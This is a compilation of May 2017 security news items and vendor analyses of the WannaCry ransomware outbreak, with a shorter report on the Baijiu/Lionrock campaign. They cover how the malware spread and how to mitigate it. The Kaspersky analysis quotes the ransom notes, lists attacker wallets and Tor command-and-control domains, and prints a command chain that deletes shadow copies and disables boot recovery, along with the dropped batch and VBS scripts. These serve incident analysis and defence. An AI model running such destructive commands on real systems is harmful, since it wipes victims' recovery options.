“The contabXX.tmp DLLs were full-featured backdoors that provided the attacker the ability to enumerate and manipulate files, enumerate drive and volume information, manipulate processes, enumerate and manipulate registry information, upload/download files, capture screenshots, and securely remove traces of the backdoor.” continues the analysis.

Cylance clarified that it is not attributing the campaign directly to China but its experts suggest a possible link to the Egobot codebase connected to the Dark Hotel Operation.

The Darkhotel espionage campaign was first uncovered by security experts at Kaspersky Lab in November 2014. The experts discovered that the hacking campaign was ongoing for at least four years while targeting selected corporate executives traveling abroad. According to the experts, threat actors behind the Darkhotel campaign aimed to steal sensitive data from executives while they are staying in luxury hotels, the worrying news is that the hacking crew is still active.

The attackers appeared as highly skilled professionals that exfiltrate data of interest with a surgical precision and deleting any trace of their activity. The researchers noticed that the gangs never go after the same target twice. The list of targets includes CEOs, senior vice presidents, top R&D engineers, sales and marketing directors from the USA and Asia traveling for business in the APAC region.


It’s Monday, how to avoid being infected with the WannaCry ransomware
15.5.2017 Securityaffairs Ransomware

The number of victims would rise on Monday when a large number of users will be back at work, then how to protect your systems from the WannaCry ransomware.
The massive WannaCry attack targeted systems worldwide, according to the Europol the number of cyber attack hits 200,000 in at least 150 countries. The number of victims would rise on Monday when a large number of users will be back at work.
WannaCry ransomware 3.jpg
Europol Director Rob Wainwright told ITV’s Peston on Sunday program that we are facing an unprecedented attack.
“The global reach is unprecedented. The latest count is over 200,000 victims in at least 150 countries, and those victims, many of those will be businesses, including large corporations,” he said.

“At the moment, we are in the face of an escalating threat. The numbers are going up; I am worried about how the numbers will continue to grow when people go to work and turn (on) their machines on Monday morning.”

Experts believe it will be a black Monday, considering also that in the last hours, new versions of the WannaCry ransomware have been detected in the wild with a new kill switch.


Matthieu Suiche ✔ @msuiche
New kill switch detected ! http://www.ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.com #WannaCry - Just pushed for an order !
2:19 PM - 14 May 2017
466 466 Retweets 457 457 likes
The are a few things that must be clear about the threat:

The WannaCry ransomware spread itself within corporate networks, without user interaction, by exploiting the EternalBlue vulnerability in Microsoft Windows.

The ransomware drops mssecsvc.exe binary in the C:\windows folder.

The WannaCry ransomware installs itself as a service and executes these two activities:
files encrypting.
propagating malware through the local network by exploiting a flaw in the SMB protocol via 445 e 139 TCP ports. The malware searches for new machines to infect.
Below a few suggestions to protect your systems:
Against ransomware-based attacks keep your backup up to date.
Install the Microsoft MS17-010 security updates published on March 14.
Keep your antivirus software up-to-date.
Disable, if not necessary, the Server Message Block (SMB) e Remote Desktop Protocol (RDP) services;
To avoid being infected by other ransomware do not open links and attachments embedded in unsolicited email messages.
System administrators urge to apply security updates to the network devices used to protect their infrastructure and identify the threats (e.g. IPS/IDS).

Block any suspicious incoming traffic using SMB and RDP protocols.


WannaCry ransomware used in widespread attacks all over the world
14.5.2017 Kaspersky Ransomware
Earlier today, our products detected and successfully blocked a large number of ransomware attacks around the world. In these attacks, data is encrypted with the extension “.WCRY” added to the filenames.

Our analysis indicates the attack, dubbed “WannaCry”, is initiated through an SMBv2 remote code execution in Microsoft Windows. This exploit (codenamed “EternalBlue”) has been made available on the internet through the Shadowbrokers dump on April 14th, 2017 and patched by Microsoft on March 14.

Unfortunately, it appears that many organizations have not yet installed the patch.

Source: https://support.kaspersky.com/shadowbrokers

A few hours ago, Spain’s Computer Emergency Response Team CCN-CERT, posted an alert on their site about a massive ransomware attack affecting several Spanish organizations. The alert recommends the installation of updates in the Microsoft March 2017 Security Bulletin as a means of stopping the spread of the attack.

The National Health Service (NHS) in the U.K. also issued an alert and confirmed infections at 16 medical institutions. We have confirmed additional infections in several additional countries, including Russia, Ukraine, and India.

It’s important to understand that while unpatched Windows computers exposing their SMB services can be remotely attacked with the “EternalBlue” exploit and infected by the WannaCry ransomware, the lack of existence of this vulnerability doesn’t really prevent the ransomware component from working. Nevertheless, the presence of this vulnerability appears to be the most significant factor that caused the outbreak.

CCN-CERT alert (in Spanish)

Analysis of the attack

Currently, we have recorded more than 45,000 attacks of the WannaCry ransomware in 74 countries around the world, mostly in Russia. It’s important to note that our visibility may be limited and incomplete and the range of targets and victims is likely much, much higher.

Geographical target distribution according to our telemetry for the first few hours of the attack

The malware used in the attacks encrypts the files and also drops and executes a decryptor tool. The request for $600 in Bitcoin is displayed along with the wallet. It’s interesting that the initial request in this sample is for $600 USD, as the first five payments to that wallet is approximately $300 USD. It suggests that the group is increasing the ransom demands.

The tool was designed to address users of multiple countries, with translated messages in different languages.

Language list that the malware supports

Note that the “payment will be raised” after a specific countdown, along with another display raising urgency to pay up, threatening that the user will completely lose their files after the set timeout. Not all ransomware provides this timer countdown.

To make sure that the user doesn’t miss the warning, the tool changes the user’s wallpaper with instructions on how to find the decryptor tool dropped by the malware.

An image used to replace user’s wallpaper

Malware samples contain no reference to any specific culture or codepage other than universal English and Latin codepage CP1252. The files contain version info stolen from random Microsoft Windows 7 system tools:

Properties of malware files used by WannaCry

For convenient bitcoin payments, the malware directs to a page with a QR code at btcfrog, which links to their main bitcoin wallet 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94. Image metadata does not provide any additional info:

One of the Bitcoin wallets used by the attackers: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

One of the attacker wallets received 0.88 BTC during the last hours

Another Bitcoin wallets included in the attackers’ “readme.txt” from the samples are:
115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn – 0.32 BTC

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw – 0.16 BTC
1QAc9S5EmycqjzzWDc1yiWzr9jJLC8sLiY

For command and control, the malware extracts and uses Tor service executable with all necessary dependencies to access the Tor network:

A list of dropped files related to Tor service

In terms of targeted files, the ransomware encrypts files with the following extensions:

.der, .pfx, .key, .crt, .csr, .p12, .pem, .odt, .ott, .sxw, .stw, .uot, .3ds, .max, .3dm, .ods, .ots, .sxc, .stc, .dif, .slk, .wb2, .odp, .otp, .sxd, .std, .uop, .odg, .otg, .sxm, .mml, .lay, .lay6, .asc, .sqlite3, .sqlitedb, .sql, .accdb, .mdb, .dbf, .odb, .frm, .myd, .myi, .ibd, .mdf, .ldf, .sln, .suo, .cpp, .pas, .asm, .cmd, .bat, .ps1, .vbs, .dip, .dch, .sch, .brd, .jsp, .php, .asp, .java, .jar, .class, .mp3, .wav, .swf, .fla, .wmv, .mpg, .vob, .mpeg, .asf, .avi, .mov, .mp4, .3gp, .mkv, .3g2, .flv, .wma, .mid, .m3u, .m4u, .djvu, .svg, .psd, .nef, .tiff, .tif, .cgm, .raw, .gif, .png, .bmp, .jpg, .jpeg, .vcd, .iso, .backup, .zip, .rar, .tgz, .tar, .bak, .tbk, .bz2, .PAQ, .ARC, .aes, .gpg, .vmx, .vmdk, .vdi, .sldm, .sldx, .sti, .sxi, .602, .hwp, .snt, .onetoc2, .dwg, .pdf, .wk1, .wks, .123, .rtf, .csv, .txt, .vsdx, .vsd, .edb, .eml, .msg, .ost, .pst, .potm, .potx, .ppam, .ppsx, .ppsm, .pps, .pot, .pptm, .pptx, .ppt, .xltm, .xltx, .xlc, .xlm, .xlt, .xlw, .xlsb, .xlsm, .xlsx, .xls, .dotx, .dotm, .dot, .docm, .docb, .docx, .doc

The file extensions that the malware is targeting contain certain clusters of formats including:

Commonly used office file extensions (.ppt, .doc, .docx, .xlsx, .sxi).
Less common and nation-specific office formats (.sxw, .odt, .hwp).
Archives, media files (.zip, .rar, .tar, .bz2, .mp4, .mkv)
Emails and email databases (.eml, .msg, .ost, .pst, .edb).
Database files (.sql, .accdb, .mdb, .dbf, .odb, .myd).
Developers’ sourcecode and project files (.php, .java, .cpp, .pas, .asm).
Encryption keys and certificates (.key, .pfx, .pem, .p12, .csr, .gpg, .aes).
Graphic designers, artists and photographers files (.vsd, .odg, .raw, .nef, .svg, .psd).
Virtual machine files (.vmx, .vmdk, .vdi).
The WannaCry dropper drops multiple “user manuals” on different languages:

Bulgarian, Chinese (simplified), Chinese (traditional), Croatian, Czech, Danish, Dutch, English, Filipino, Finnish, French, German, Greek, Indonesian, Italian, Japanese, Korean, Latvian, Norwegian, Polish, Portuguese, Romanian, Russian, Slovak, Spanish, Swedish, Turkish, Vietnamese

The example of a “user manual” in English:

What Happened to My Computer?
Your important files are encrypted.
Many of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without our decryption service.

Can I Recover My Files?
Sure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.
You can decrypt some of your files for free. Try now by clicking .
But if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don't pay in 7 days, you won't be able to recover your files forever.
We will have free events for users who are so poor that they couldn't pay in 6 months.

How Do I Pay?
Payment is accepted in Bitcoin only. For more information, click .
Please check the current price of Bitcoin and buy some bitcoins. For more information, click .
And send the correct amount to the address specified in this window.
After your payment, click . Best time to check: 9:00am - 11:00am GMT from Monday to Friday.
Once the payment is checked, you can start decrypting your files immediately.

Contact
If you need our assistance, send a message by clicking .

We strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If your anti-virus gets
updated and removes this software automatically, it will not be able to recover your files even if you pay!

It also drops batch and VBS script files, and a “readme” (contents are provided in the appendix).

Just in case the user closed out the bright red dialog box, or doesn’t understand it, the attackers drop a text file to disk with further instruction. An example of their “readme” dropped to disk as “@Please_Read_Me@.txt” to many directories on the victim host. Note that the English written here is done well, with the exception of “How can I trust?”. To date, only two transactions appear to have been made with this 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn bitcoin address for almost $300:

Q: What's wrong with my files?

A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted.
If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!
Let's start decrypting!

Q: What do I do?

A: First, you need to pay service fees for the decryption.
Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software.
Run and follow the instructions! (You may need to disable your antivirus for a while.)

Q: How can I trust?

A: Don't worry about decryption.
We will decrypt your files surely because nobody will trust us if we cheat users.

* If you need our assistance, send a message by clicking on the decryptor window.

Once started it immediately spawns several processes to change file permissions and communicate with tor hidden c2 servers:

attrib +h .
icacls . /grant Everyone:F /T /C /Q
C:\Users\xxx\AppData\Local\Temp\taskdl.exe
@WanaDecryptor@.exe fi
300921484251324.bat
C:\Users\xxx\AppData\Local\Temp\taskdl.exe
C:\Users\xxx\AppData\Local\Temp\taskdl.exe
The malware creates mutex “Global\MsWinZonesCacheCounterMutexA” and runs the command:

cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

This results in an UAC popup that user may notice.

UAC popup to disable Volume Shadow Service (System Restore)

The malware use TOR hidden services for command and control. The list of .onion domains inside is as following:

gx7ekbenv2riucmf.onion
57g7spgrzlojinas.onion
Xxlvbrloxvriy2c5.onion
76jdd2ir2embyv47.onion
cwwnhwhlz52maqm7.onion
sqjolphimrr7jqw6.onion
Mitigation and detection information

Quite essential in stopping these attacks is the Kaspersky System Watcher component. The System Watcher component has the ability to rollback the changes done by ransomware in the event that a malicious sample managed to bypass other defenses. This is extremely useful in case a ransomware sample slips past defenses and attempts to encrypt the data on the disk.

System Watcher blocking the WannaCry attacks

Mitigation recommendations:

Make sure that all hosts are running and have enabled endpoint security solutions.
Install the official patch (MS17-010) from Microsoft, which closes the affected SMB Server vulnerability used in this attack.
Ensure that Kaspersky Lab products have the System Watcher component enabled.
Scan all systems. After detecting the malware attack as MEM:Trojan.Win64.EquationDrug.gen, reboot the system. Once again, make sure MS17-010 patches are installed.
Samples observed in attacks so far:

4fef5e34143e646dbf9907c4374276f5
5bef35496fcbdbe841c82f4d1ab8b7c2
775a0631fb8229b2aa3d7621427085ad
7bf2b57f2a205768755c07f238fb32cc
7f7ccaa16fb15eb1c7399d422f8363e8
8495400f199ac77853c53b5a3f278f3e
84c82835a5d21bbcf75a61706d8ab549
86721e64ffbd69aa6944b9672bcabb6d
8dd63adb68ef053e044a5a2f46e0d2cd
b0ad5902366f860f85b892867e5b1e87
d6114ba5f10ad67a4131ab72531f02da
db349b97c37d22f5ea1d1841e3c89eb4
e372d07207b4da75b3434584cd9f3450
f529f4556a5126bba499c26d67892240

Kaspersky Lab detection names:

Trojan-Ransom.Win32.Gen.djd
Trojan-Ransom.Win32.Scatter.tr
Trojan-Ransom.Win32.Wanna.b
Trojan-Ransom.Win32.Wanna.c
Trojan-Ransom.Win32.Wanna.d
Trojan-Ransom.Win32.Wanna.f
Trojan-Ransom.Win32.Zapchast.i
PDM:Trojan.Win32.Generic

Kaspersky Lab experts are currently working on the possibility of creating a decryption tool to help victims. We will provide an update when a tool is available.

Appendix

Batch file

@echo off
echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbs
echo SET om = ow.CreateShortcut("C:\Users\ADMINI~1\AppData\Local\Temp\@WanaDecryptor@.exe.lnk")>> m.vbs

echo om.TargetPath = "C:\Users\ADMINI~1\AppData\Local\Temp\@WanaDecryptor@.exe">> m.vbs

echo om.Save>> m.vbs
cscript.exe //nologo m.vbs
del m.vbs
del /a %0

m.vbs

SET ow = WScript.CreateObject("WScript.Shell")
SET om = ow.CreateShortcut("C:\Users\ADMINI~1\AppData\Local\Temp\@WanaDecryptor@.exe.lnk")
om.TargetPath = "C:\Users\ADMINI~1\AppData\Local\Temp\@WanaDecryptor@.exe"
om.Save


Protect Against WannaCry: Microsoft Issues Patch for Unsupported Windows (XP, Vista, 8,...)
14.5.2017 thehackernews Ransomware

Update — If you are thinking that activating the kill-switch has completely stopped the WannaCry Ransomware, then you are mistaken. WannaCry 2.0 version has just arrived without any 'kill-switch' function. Get prepared for the next massive wave of ransomware attacks.
In the wake of the largest ransomware attack in the history that had already infected over 114,000 Windows systems worldwide since last 24 hours, Microsoft just took an unusual step to protect its customers with out-of-date computers.
Microsoft has just released an emergency security patch update for all its unsupported version of Windows, including Windows XP, Vista, Windows 8, Server 2003 and 2008 Editions.
So, if your organization, for some reason, is still running on Windows XP or Vista, you are strongly advised to download and APPLY PATCH NOW!
WannaCrypt, or also known as WannaCry, is a new ransomware that wreaked havoc across the world last night, which spreads like a worm by leveraging a Windows SMB vulnerability (MS17-010) that has been previously fixed by Microsoft in March.

A large number of successful infections of the WannaCry ransomware at an astonishing pace concludes that either significant number of users have not yet installed the security patch released in March (MS17-010) or they are still running an unsupported version of Windows for which Microsoft is no longer releasing any security update.
So far, Criminals behind WannaCry Ransomware have received nearly 100 payments from victims, total 15 Bitcoins, equals to USD $26,090.
CLICK TO TWEET
Moreover, if you are using Windows 10, you are on the safe side.
"The exploit code used by WannaCrypt was designed to work only against unpatched Windows 7 and Windows Server 2008 (or earlier OS) systems, so Windows 10 PCs are not affected by this attack," Microsoft says.
Once infected, WannaCry locks files on the computers and requires victims to pay $300 in Bitcoins to get back the control of their systems, along with a threat to double the price to $600.
But there's no guarantee of getting your files back even after paying the ransom.
How is WannaCry Spreading?
Such ransomware infection typically leverages social engineering or spam emails as a primary attack vector, tricking users into downloading and executing a malicious attachment.
WannaCry is also leveraging one such social engineering trick, as FoxIT researchers uncovered one variant of the ransomware that is initially distributed via an email containing a link or a PDF file with payload, which if clicked, installs WannaCry on the targeted system.
Once executed, the self-spreading WannaCry ransomware does not infect the targeted computers immediately, as malware reverse engineers found that the dropper first tries to connect the following domain, which was initially unregistered:
hxxp://www[.]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com
If the connection to the above-mentioned unregistered domain fails (which is obvious), the dropper proceeds to infect the system with the ransomware that would start encrypting files.
But if the connection is successful, the dropper does not infect the system with the WannaCry ransomware module.
A security researcher, tweeting as MalwareTech, did the same and registered the domain mentioned above, accidentally triggering a "kill switch" that can prevent the spread of the WannaCry ransomware, at least for now.
Malware Tech registered this domain by spending just £10, which makes the connection logic successful.
"In other words, blocking the domain with firewall either at ISP or enterprise network level will cause the ransomware to continue spreading and encrypting files," Microsoft warned.
If infected, the malware scans the entire internal network and spread like a worm into all unpatched Windows computers with the help of SMB vulnerability.
The SMB vulnerability has been identified as EternalBlue, a collection of hacking tools allegedly created by the NSA and then subsequently dumped by a hacking group calling itself "The Shadow Brokers" over a month ago.
Demo of WannaCry Ransomware Infection
Meanwhile, Matthew Hickey, a security expert and co-founder of Hacker House, has provided The Hacker News two video demonstrations, showing packet traces that confirm the use of Windows SMB vulnerability (MS17-010).

 

And Second one...

 

Hickey also warned: Since, the WannaCry is a single executable file, so it can also be spread through other regular exploit vectors, such as spear phishing, drive-by-download attack, and malicious torrent files download.
So Far, Over 114,000 Infections Detected in 99 Countries

WannaCry Ransomware attack has become the largest ransomware infection in history within just a few hours.
A total of 16 U.K. organizations has been affected by the ongoing attack, including the National Health Service (NHS), which was forced to reject patients, cancel operations, and reschedule appointments due to malware infection.
WannaCry also targeted Spanish telecom giant Telefónica infecting by some of its computers on an internal network, but did not affect clients or services.
Other victims of the attack include Portugal Telecom and Russia’s MegaFon.
Delivery company FedEx was also a victim.
Users from Japan, Turkey, and the Philippines were also affected.
7 Easy Steps to Protect Yourself
Currently, there is no WannaCry decryption tool or any other solution available, so users are strongly advised to follow prevention measures in order to protect themselves.
Keep your system Up-to-date: First of all, if you are using supported, but older versions of Windows operating system, keep your system up to date, or simply upgrade your system to Windows 10.
Using Unsupported Windows OS? If you are using unsupported versions of Windows, including Windows XP, Vista, Server 2003 or 2008, apply the emergency patch released by Microsoft today.
Enable Firewall: Enable firewall, and if it is already there, modify your firewall configurations to block access to SMB ports over the network or the Internet. The protocol operates on TCP ports 137, 139, and 445, and over UDP ports 137 and 138.
Disable SMB: Follow steps described by Microsoft to disable Server Message Block (SMB).
Keep your Antivirus software up-to-date: Virus definitions have already been updated to protect against this latest threat.
Backup Regularly: To always have a tight grip on all your important files and documents, keep a good backup routine in place that makes their copies to an external storage device that is not always connected to your PC.
Beware of Phishing: Always be suspicious of uninvited documents sent an email and never click on links inside those documents unless verifying the source.


Microsoft Issues Emergency Patch in Response to Massive Ransomware Outbreak

14.5.2017 securityweek Ransomware
WannaCry Ransomware Exploits Windows SMB Vulnerability, Microsoft Issues Fix to Protect Outdated Systems

A fast-moving wave of ransomware attacks is hitting hard across the world, exploiting a recently patched vulnerability that was exposed in documents leaked from the NSA by the mysterious Shadow Broker group.

Dubbed WannaCry, the ransomware is exploiting a critical vulnerability in Microsoft’s Server Message Block (SMB) which was patched by Microsoft (MS17-010) for supported versions of Windows last month.

Also known as WCry, WanaCrypt0r, WannaCrypt, or Wana Decrypt0r, the ransomware strain has reportedly hit more than 100 countries in less than 24 hours.

While up to date and fully-patched Windows installations are not at risk, Microsoft took the highly unusual step of providing a security update for those using Windows platforms that are in custom support only, including Windows XP, Windows 8, and Windows Server 2003.

"We also know that some of our customers are running versions of Windows that no longer receive mainstream support," Microsoft said. "That means those customers will not have received the above mentioned Security Update released in March. Given the potential impact to customers and their businesses, we made the decision to make the Security Update for platforms in custom support only, Windows XP, Windows 8, and Windows Server 2003, broadly available for download."

The malware outbreak began, Friday and is being described as the biggest-ever ransomware attack, hitting hospitals in Britain as well as the Spanish telecom giant Telefonica and was also spreading in other countries, including Russian banks, FedEx and European car makers.

According to security firm F-Secure, WannaCry is the biggest ransomware outbreak in history, saying that 130,000 systems in more than 100 countries had been affected as of Saturday.

A spokesman for Barts Health NHS Trust in London told AFP that it was experiencing "major IT disruption" and delays at all four of its hospitals, and that ambulances were being diverted to nearby hospitals.

"Unlike most other attacks, this malware is spreading primarily by direct infection from machine to machine on local networks, rather than purely by email," Lance Cottrell, chief scientist at Ntrepid, told SecurityWeek.

On Saturday, a security researcher who blogs for MalwareTech and researchers from Proofpoint discovered a "kill switch" that could prevent the spread of the ransomware.

“The ‘kill switch’ was hardcoded into the malware in case the creator wanted to stop it spreading,” MalwareTech explained. “This involved a very long nonsensical domain name that the malware makes a request to just as if it was looking up any website – and if the request comes back and shows that the domain is live, the kill switch takes effect and the malware stops spreading.”

“This event should serve as a global wakeup call - the means of delivery and the delivered effect is unprecedented,” Rich Barger, Director of Cyber Research at Splunk, told SecurityWeek. “While Spain and Russia look to be hit the hardest, other countries including Italy, Portugal, Ukraine and Pakistan look to be affected as well. This is one of the largest global ransomware attacks the cyber community has ever seen.”

“Initial reports that this malware is propagating on its own - for those who remember the early 2000s, this is a worm - malware that infects a machine and then looks for other vulnerable hosts on the same network or randomly scans and looks for other vulnerable hosts to infect,” Barger added.

Splunk’s Barger suggested disabling or blocking the SMB v1 service to protect against the attacks, and said firms should consider monitoring for and or mitigating scan behavior on TCP/445, externally and internally.

The U.S. Department of Homeland Security also provided Indicators of Compromise (IOC) that can be accessed here in a Microsoft Excel spreadhseet.

"With the WannaCry/WanaCrypt ransomware in the wild, crossing into industrial control systems would be particularly devastating," commented Owen Connolly, VP of Services at IOActive. "Systems requiring real-time interfacing and control influence over physical assets could face safety/critical shutdown, or worse. When thinking about critical services to modern society (power, water, wastewater, etc.), there is a real potential, potentially for the first time ever, where critical services could be suspended due to ransomware. It may be time to rethink critical infrastructure cybersecurity engineering, because if MS17-010 exploiting malware variants are successful, we are clearly doing something wrong."


New Fileless Attack Targets North Korea

14.5.2017 securityweek Virus
Baijiu is a newly detected stealthy threat that currently targets North Korea, and seems to have Chinese provenance. It is delivered by phishing, and comprises a downloader that is being called Typhoon together with a set of backdoors being called Lionrock.

The campaign was discovered by Cylance, and it is thought to be hitherto unknown. "Three distinctive elements of Baijiu drew and held our attention," writes Cylance in an analysis published today: "the unusual complexity of the attack; the appropriation of web hosting service GeoCities (of 1990s fame); and the use of multiple methods of obfuscation."

The phishing lure is a reference to the 2016 floods in North Korea's North Hamgyong province caused by Typhoon Lionrock. More than 100 people died, and more than 100,000 were left homeless. The lure comprises a LNK file and the reference, "2016 North Korea Hamgyung [sic] province flood insight."

The LNK file executes a Windows command that fetches and runs javascript code. The javascript downloads two DLLs also hosted on GeoCities. "Both DLLs functioned as elaborate launchers for a PowerShell script encoded within their resource sections," comments Cylance; and both used an expired certificate belonging to mywellnessmatters.com.

The PowerShell script queries further GeoCities URLs looking for named files. If none are available, the script does nothing. One of the files obtained and analyzed by Cylance was another PowerShell script responsible for delivering and executing the final payloads.

These are "full-featured backdoors that provided the attacker the ability to enumerate and manipulate files, enumerate drive and volume information, manipulate processes, enumerate and manipulate registry information, upload/download files, capture screenshots, and securely remove traces of the backdoor."

The campaign is another example of sophisticated adversaries moving to fileless or non-malware attacks in the hope of avoiding detection. "Baijiu’s circuitous route from LNK file to LIONROCK backdoor through multiple DLL files and PowerShell scripts," notes Cylance; "and its ability to obfuscate itself through each stage while doing so -- makes this attack stand out." It also notes that using GeoCities to hide the component parts in plain sight "signals a troubling new trend in attack techniques that is almost surely not restricted to Yahoo’s GeoCities."

In its analysis, Cylance goes to considerable effort -- including a separate email clarification -- that it is not attributing the campaign directly to China. It does however suggest that "it probably evolved from the Egobot codebase first described by Symantec... and is subsequently connected to the larger Dark Hotel Operation."

In November 2014, Kaspersky Lab's principal security researcher Kurt Baumgartner commented, "For the past few years, a strong actor named Darkhotel has performed a number of successful attacks against high-profile individuals, employing methods and techniques that go well beyond typical cybercriminal behavior. This threat actor has operational competence, mathematical and crypto-analytical offensive capabilities, and other resources that are sufficient to abuse trusted commercial networks and target specific victim categories with strategic precision."


Manhunt for Hackers Behind Global Cyberattack

14.5.2017 securityweek  Ransomware
International investigators hunted Saturday for those behind an unprecedented cyber-attack that affected systems in dozens of countries, including at banks, hospitals and government agencies, as security experts sought to contain the fallout.

The assault, which began Friday and was being described as the biggest-ever cyber ransom attack, struck state agencies and major companies around the world -- from Russian banks and British hospitals to FedEx and European car factories.

"The recent attack is at an unprecedented level and will require a complex international investigation to identify the culprits," said Europol, Europe's police agency.

Europol said a special task force at its European Cybercrime Centre was "specially designed to assist in such investigations and will play an important role in supporting the investigation".

The attacks used ransomware that apparently exploited a security flaw in Microsoft operating systems, locking users' files unless they pay the attackers a designated sum in the virtual currency Bitcoin.

Images appeared on victims' screens demanding payment of $300 (275 euros) in Bitcoin, saying: "Ooops, your files have been encrypted!"

Payment is demanded within three days or the price is doubled, and if none is received within seven days the files will be deleted, according to the screen message.

But experts and government alike warn against ceding to the hackers' demands.

"Paying the ransom does not guarantee the encrypted files will be released," the US Department of Homeland Security's computer emergency response team said.

"It only guarantees that the malicious actors receive the victim's money, and in some cases, their banking information."

- 'Painful' -

Experts and officials offered differing estimates of the scope of the attacks, but all agreed it was huge.

Mikko Hypponen, chief research officer at the Helsinki-based cyber security company F-Secure, told AFP it was the biggest ransomware outbreak in history, saying that 130,000 systems in more than 100 countries had been affected.

He said Russia and India were hit particularly hard, largely because Microsoft's Windows XP -- one of the operating systems most at risk -- was still widely used there.

French police said there were "more than 75,000 victims" around the globe, but cautioned that the number could increase "significantly".

The virus spread quickly because the culprits used a digital code believed to have been developed by the US National Security Agency -- and subsequently leaked as part of a document dump, according to researchers at the Moscow-based computer security firm Kaspersky Lab.

Microsoft said the situation was "painful" and that it was taking "all possible actions to protect our customers".

It issued guidance for people to protect their systems, while taking the highly unusual step of reissuing security patches first made available in March for Windows XP and other older versions of its operating system.

- Europe worst hit -

US software firm Symantec said the majority of organizations affected were in Europe, and the attack was believed to be indiscriminate.

The companies and government agencies targeted were diverse.

In the United States, package delivery group FedEx said it was "implementing remediation steps as quickly as possible," while French carmaker Renault was forced to stop production at sites in France, Slovenia and Romania.

Russia's interior ministry said some of its computers had been hit by a "virus attack" and that efforts were underway to destroy it. The country's banking system was also attacked, although no problems were detected, as was the railway system.

Germany's rail operator Deutsche Bahn said its station display panels were affected. Universities in Greece and Italy also were hit.

- Accidental 'kill switch' -

Kaspersky said it was "trying to determine whether it is possible to decrypt data locked in the attack -- with the aim of developing a decryption tool as soon as possible."

On Saturday, a cyber security researcher told AFP he had accidentally discovered a "kill switch" that could prevent the spread of the ransomware.

The researcher, tweeting as @MalwareTechBlog, said registering a domain name used by the malware stops it from spreading, though it cannot help computers already affected.

"If you have anything to patch, patch it," the researcher said in a blog post. "Now I should probably sleep."

A hacking group called Shadow Brokers released the malware in April claiming to have discovered the flaw from the NSA, Kaspersky said.

"Unlike most other attacks, this malware is spreading primarily by direct infection from machine to machine on local networks, rather than purely by email," said Lance Cottrell, chief scientist at the US technology group Ntrepid.

G7 finance ministers meeting in Italy vowed to unite against cyber crime, as it represented a growing threat to their economies and should be tackled as a priority. The danger will be discussed at the G7 leaders' summit next month.

In Britain, the attack disrupted care at National Health Service facilities, forcing ambulances to divert and hospitals to postpone operations.

"There will be lessons to learn from what appears to be the biggest criminal cyber-attack in history," Interior minister Amber Rudd said.

"But our immediate priority as a government is to disrupt the attack, restore affected services as soon as possible, and establish who was behind it so we can bring them to justice."


Experts at RedSocks analyzed the massive WannaCry Ransomware attack
14.5.2017 securityaffairs  Ransomware

Currently we are seeing a large scale WannaCry ransomware outbreak. This ransomware outbreak is more devastating than others because it spreads laterally. Enjoy the RedSocks ‘s analysis.
Who does it affect:
Any Windows computer without Windows Patch MS17-010.

What to do:
Apply patch MS17-010 immediately.

MS17-010
The key factor in the ‘success’ of this malware strain called WannaCry is its lateral movement within networks. To achieve lateral network it levarages a bug in Windows SMBv1 and SMBv2. This bug has been found by the NSA and recently cybercriminals that call themselves “The Shadow Brokers” released all of the details of this bug to the public.

On March 14th Microsoft officially released a patch for this bug. And today May 12th Cyber criminals have been successfull in implementing this bug in their malware strain. Resulting in the damage we see today.

Impact
Spreading of this Ransomware strain starts through the normal routes. A spam email is sent containing a malicious link or a malicious document. Once a target activates the malware by either clicking the link or opening the document the malware will hold the computer hostage until a ransom is paid. It does this by encrypting all of the files on the system with an encryption key.
Once a ransom is paid a decryption key is supplied to the customer to decrypt the computer and its files.

Thus far this is ‘normal’ ransomware behaviour. But this malware starts, once a victim is infected scanning the internal network looking for vulnerable other Windows system that didn’t apply the MS17-010 patch. If it finds a vulnerable system it will infect that system as well.

The problem here is that often a company wide policy is applied to roll out patches. Especially in hospitals the IT department doesn’t directly roll out patches. They don’t do this because they are afraid systems might break because of the patch and want to test the patch first. This means, that if one computer within a company gets infected and the MS17-010 patch is not applied company wide… All of the Windows systems will get infected with the malware.

You can have as many backups as you want, but fighting a malware outbreak that infects all your Windows systems is very hard to combat. Anyone can imagine the impact of all Windows computers being disabled.

MS17-010 vs MS08-067
MS17-010 has close similarity with a previous patch named MS08-067. MS08-067 is a very famous bug within hacker communities because almost always guarantees you access within a network. Even after almost 10 years this bug is still very useful for penetration testers.

During the release of patch MS08-067 a major malware outbreak came to light. The malware responsible at the time was Conficker. Conficker spread all over the world and infected computers in many countries causing a lot of problems.

Conficker vs WannaCry
The difference between the Conficker malware at the time and this version of ransomware called WannaCry is that Conficker basically infected the computer but didn’t affact the computers ability to function and perform basic tasks. It did hower download additional malware and tried to install fake antivirus. The WannaCry malware however is completely different. This malware strain basically cripples the computers capabilities. Normal tasks the computer performs cannot be done anymore. The computer besically stops working untill you pay the ransom.Because of this difference the devastating effect WannaCry will cause will be exceptionally bigger.

We have one advice. Apply patch MS17-010 NOW.

BEWARE OF BOGUS RANSOMWARE REMOVAL TOOLS
There is a massive rise in malware removal sites that use malware outbreaks to earn an online revenue. Some of these sites are bogus sites that provide random instructions to lure unaware users to install fake removal tools. These tools can lead into total annihilation of any success of recovering from an ransomware attack.

We strongly advise everyone not to download a random ransomware removal tool from any untrusted online source. These tools will be used against you.

UPDATE from RedSocks Malware Intelligence Team:
Indicators of Compromise

The RedSocks Malware Intelligence Team has made a collection of WannaCry ransomware indicators of compromise.

